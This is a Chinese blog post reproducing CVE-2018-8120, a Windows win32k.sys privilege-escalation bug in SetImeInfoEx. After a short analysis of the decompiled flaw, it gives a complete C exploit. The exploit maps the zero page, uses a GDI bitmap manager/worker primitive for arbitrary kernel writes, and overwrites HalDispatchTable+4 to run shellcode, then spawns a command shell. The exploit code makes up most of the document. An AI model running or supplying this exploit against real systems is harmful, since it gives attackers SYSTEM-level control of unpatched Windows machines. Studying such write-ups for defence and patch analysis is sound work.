CVE-2018-8120 漏洞复现
CVE-2018-8120 漏洞复现
漏洞描述
win32k.sys中函数 SetImeInfoEx未对指针进行合法性检查,从而导致一个任意地址写。
漏洞分析
漏洞成因
int __stdcall SetImeInfoEx(int ProcessWindowStation, _DWORD *userBuf)
{
int result; // eax
_DWORD *v3; // eax
_DWORD *v4; // eax
result = ProcessWindowStation;
if ( ProcessWindowStation )
{
v3 = *(_DWORD **)(ProcessWindowStation + 0x14);// 没有判断v3的合法性
while ( v3[5] != *userBuf )
{
v3 = (_DWORD *)v3[2];
if ( v3 == *(_DWORD **)(ProcessWindowStation + 0x14) )
return 0;
}
v4 = (_DWORD *)v3[0xB]; // v4可以被控制
if ( !v4 )
return 0;
if ( !v4[18] )
qmemcpy(v4, userBuf, 0x15Cu); // 任意地址写0x15C字节
return 1;
}
return result;
}
这里的 v3在取出 ProcessWindowStation + 0x14处的指针时,没有对其合法性进行检查,可能为 0。如果我们可以申请到 0地址处的内存,就可以控制 v4,之后 memcpy即可实现任意地址写。
利用手法
当我们使用 CreateWindowStation创建一个新的窗口时,他的 ProcessWindowStation + 0x14会默认为 0。此时我们在通过 NtAllocateVirtualMemory分配内存,并控制好 0地址处相对应的值,便可以实现任意地址写。再利用 bitMap实现更精确的任意地址写,覆盖函数 NtQueryIntervalProfile的函数指针,实现控制程序执行流的目的。
exp
#include<stdio.h>
#include<Windows.h>
#include<Psapi.h>
#include<profileapi.h>
#include "x86-header.h"
DWORD gSyscall = 0x1226;
__declspec(naked) void NtUserSetImeInfoEx(PVOID a)
{
_asm
{
mov esi, a;
mov eax, gSyscall;
mov edx, 0x7FFE0300;
call dword ptr[edx];
ret 4;
}
}
int main()
{
puts("[+] Preparing Bitmap...");
unsigned int ibuf[0x60] = { 0x90 };
HANDLE BManager = CreateBitmap(0x60, 1, 1, 32, ibuf);
HANDLE BWorker = CreateBitmap(0x60, 1, 1, 32, ibuf);
PVOID Mpvscan0 = getpvscan0(BManager);
PVOID Wpvscan0 = getpvscan0(BWorker);
printf("[*] Get Manager: 0x%p\n", Mpvscan0);
printf("[*] Get Worker: 0x%p\n", Wpvscan0);
puts("[+] Preparing vul...");
HWINSTA hSta = CreateWindowStation(
0, //LPCSTR lpwinsta
0, //DWORD dwFlags
READ_CONTROL, //ACCESS_MASK dwDesiredAccess
0 //LPSECURITY_ATTRIBUTES lpsa
);
SetProcessWindowStation(hSta);
puts("[*] Get ntdll Module");
HMODULE hModule = LoadLibraryA("ntdll.dll");
if (hModule == 0)
{
puts("Failed to load ntdll.dll");
return 0;
}
NtAllocateVirtualMemory = (NtAllocateVirtualMemory_t)GetProcAddress(hModule, "NtAllocateVirtualMemory");
if (NtAllocateVirtualMemory == 0)
{
puts("Failed to resolve NtAllocateVirtualMemory");
return 0;
}
PVOID ZeroAddr = 1;
ULONG size = 0x1000;
int NTStatus = NtAllocateVirtualMemory(INVALID_HANDLE_VALUE, &ZeroAddr, 0, &size, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if (NT_SUCCESS(NTStatus) == 0 || ZeroAddr != 0)
{
puts("Failed to Allocate to 0 addr");
printf("Alloc: 0x%p\n", ZeroAddr);
return 0;
}
printf("Alloc Virtual Memory: 0x%p\n", ZeroAddr);
*(DWORD*)(0x14) = (DWORD)(Wpvscan0);
*(DWORD*)(0x2C) = (DWORD)(Mpvscan0);
puts("[+] Trigger vul, modify Manager pvscan0");
char buf[0x200];
memset(buf, 0, sizeof(buf));
PVOID* p = (PVOID*)&buf;
p[0] = (PVOID)Wpvscan0;
DWORD* pp = (DWORD*)&p[1];
pp[0] = 0x180;
pp[1] = 0x1d95;
pp[2] = 6;
pp[3] = 0x10000;
pp[5] = 0x4800200;
NtUserSetImeInfoEx(buf);
PVOID pNtkrnlpaBase = GetKernelBase("ntkrnlpa.exe");
printf("[*] Get ntkrnlpa.exe kernel base: 0x%p\n", pNtkrnlpaBase);
HMODULE ntkrnlpaBase = LoadLibraryA("ntkrnlpa.exe");
if (ntkrnlpaBase == 0)
{
puts("Failed to load ntkrnlpa.exe");
return 0;
}
PVOID pUserSpaceAddress = GetProcAddress(ntkrnlpaBase, "HalDispatchTable");
DWORD HalDispatchTable_4 = (DWORD)pNtkrnlpaBase + ((DWORD)pUserSpaceAddress - (DWORD)ntkrnlpaBase) + 4;
if (HalDispatchTable_4 != 0)
printf("[*] Get HalDispatchTable+0x4 0x%lx\n", HalDispatchTable_4);
PVOID pOrg = 0;
PVOID sc = &ShellCode;
SetBitmapBits((HBITMAP)BManager, sizeof(PVOID), &HalDispatchTable_4);
GetBitmapBits((HBITMAP)BWorker, sizeof(PVOID), &pOrg);
SetBitmapBits((HBITMAP)BWorker, sizeof(PVOID), &sc);
NtQueryIntervalProfile = (NtQueryIntervalProfile_t)GetProcAddress(hModule, "NtQueryIntervalProfile");
if (NtQueryIntervalProfile == 0)
{
puts("Failed to resolve NtQueryIntervalProfile");
return 0;
}
DWORD interVal = 0;
NtQueryIntervalProfile(0x1337, &interVal);
SetBitmapBits((HBITMAP)BWorker, sizeof(PVOID), &pOrg);
CreateCmd();
return 0;
}
参考链接
https://blog.csdn.net/qq_38025365/article/details/106321131
https://blog.csdn.net/qq_38025365/article/details/106343443
https://www.freebuf.com/vuls/174183.html
https://blog.csdn.net/qq_36918532/article/details/123717955
https://zhuanlan.zhihu.com/p/510326660
https://zhuanlan.zhihu.com/p/51422777
CVE-2018-8120 漏洞复现的更多相关文章
- struts2(s2-052)远程命令执行漏洞复现
漏洞描述: 2017年9月5日,Apache Struts发布最新安全公告,Apache Struts2的REST插件存在远程代码执行的高危漏洞,该漏洞由lgtm.com的安全研究员汇报,漏洞编号为C ...
- 8.Struts2-057漏洞复现
漏洞信息: 定义XML配置时如果namespace值未设置且上层动作配置(Action Configuration)中未设置或用通配符namespace时可能会导致远程代码执行. url标签未设置va ...
- CVE¬-2020-¬0796 漏洞复现(本地提权)
CVE-2020-0796 漏洞复现(本地提权) 0X00漏洞简介 Microsoft Windows和Microsoft Windows Server都是美国微软(Microsoft)公司的产品 ...
- Windows CVE-2019-0708 远程桌面代码执行漏洞复现
Windows CVE-2019-0708 远程桌面代码执行漏洞复现 一.漏洞说明 2019年5月15日微软发布安全补丁修复了CVE编号为CVE-2019-0708的Windows远程桌面服务(RDP ...
- 【漏洞复现】Tomcat CVE-2017-12615 远程代码执行漏洞
漏洞描述 [漏洞预警]Tomcat CVE-2017-12615远程代码执行漏洞/CVE-2017-12616信息泄漏 https://www.secfree.com/article-395.html ...
- ghostscript远程代码执行漏洞复现
这两天网上ghostscript又又有漏洞信息了,但是没有poc,于是找找资料把今年8月21日的那个验证下 1.关于ghostscript Ghostscript是一套建基于Adobe.PostScr ...
- 20145330 《网络对抗》 Eternalblue(MS17-010)漏洞复现与S2-045漏洞的利用及修复
20145330 <网络对抗> Eternalblue(MS17-010)漏洞利用工具实现Win 7系统入侵与S2-045漏洞的利用及修复 加分项目: PC平台逆向破解:注入shellco ...
- Ecshop 2.x_3.x SQL注入和代码执行漏洞复现和分析
0x00 前言 问题发生在user.php的的显示函数,模版变量可控,导致注入,配合注入可达到远程代码执行 0x01 漏洞分析 1.SQL注入 先看user.php的$ back_act变量来源于HT ...
- [漏洞复现]CVE-2018-4887 Flash 0day
1.漏洞概述 2018年2月1号,Adobe官方发布安全通报(APSA18-01),声明Adobe Flash 28.0.0.137及其之前的版本,存在高危漏洞(CVE-2018-4878). 攻击者 ...
- CVE-2018-15982漏洞复现
作者:欧根 漏洞信息:CVE-2018-15982 Adobe已发布适用于Windows,macOS,Linux和Chrome OS的Adobe Flash Player安全更新.这些更新解决一个 ...
随机推荐
- [Java SE] 彻底搞懂Java程序的三大参数配置途径:系统变量与JVM参数(VM Option)/环境变量/启动程序参数args
0 序言 一次没搞懂,处处受影响.这个问题属于基础问题,但又经常踩坑,不得不重视一下了. 1 Java程序动态参数的配置途径:系统变量与JVM参数(VM Option) vs 环境变量 vs 启动程序 ...
- 前端Vue自定义列表表格信息展示可用于商品规格参数展示
前端Vue自定义列表表格信息展示可用于商品规格参数展示 , 下载完整代码请访问uni-app插件市场地址:https://ext.dcloud.net.cn/plugin?id=13131 效果图如下 ...
- ResNet:RevolutionizingDeepLearningforImageRecognition
目录 1. 引言 2. 技术原理及概念 3. 实现步骤与流程 3.1 准备工作:环境配置与依赖安装 3.2 核心模块实现 3.3 集成与测试 3.4 优化与改进 4. 示例与应用 ResNet: Re ...
- 将 -Xms 参数设置和-Xmx 参数的相等,对比 -Xms参数 设置为-Xmx 参数的一半,有哪些优势?
将 -Xms 参数设置为与 -Xmx 参数相等,相比于将 -Xms 参数设置为 -Xmx 参数的一半,具有以下优势: 1. 程序启动时间更短 当将 -Xms 参数设置为与 -Xmx 参数相等时,JVM ...
- LLaMA模型指令微调 字节跳动多模态视频大模型 Valley 论文详解
Valley: Video Assistant with Large Language model Enhanced abilitY 大家好,我是卷了又没卷,薛定谔的卷的AI算法工程师「陈城南」~ 担 ...
- python学习笔记:第七章面向对象
与java类似,python作为一种面向对象的编程语言,也可以创建自定义的对象和类. 它的特性主要有:继承,封装,多态,方法,属性,超类 1.变量的作用域 c = 50 #全局变量, 作用域为整个模块 ...
- ASP.NET Core - 日志记录系统(一)
一.日志记录 日志记录是什么?简单而言,就是通过一些方式记录应用程序运行中的某一时刻的状态,保留应用程序当时的信息.这对于我们进行应用程序的分析.审计以及维护有很大的作用. 作为程序员,我们恐怕谁也不 ...
- Centos7下Oracle启动命令
1.查询挂载历史记录 在root账户下使用一下命令 查看历史使用挂载的那个磁盘 # 查看挂载历史命令 history | grep mount # 调用挂载历史命令,主要是为了找到挂载Oracle的磁 ...
- C语言链表实现(郝斌数链表学习笔记)
#include "stdafx.h" #include<stdio.h> #include<stdlib.h> typedef struct Node { ...
- 将Dubbo注册到Nacos,与DubboAdmin的部署
王有志,一个分享硬核Java技术的互金摸鱼侠加入Java人的提桶跑路群:共同富裕的Java人 本文是<从 0 开始学 Dubbo>系列文章中应用篇的番外篇. 在这篇文章中我会和大家一起部署 ...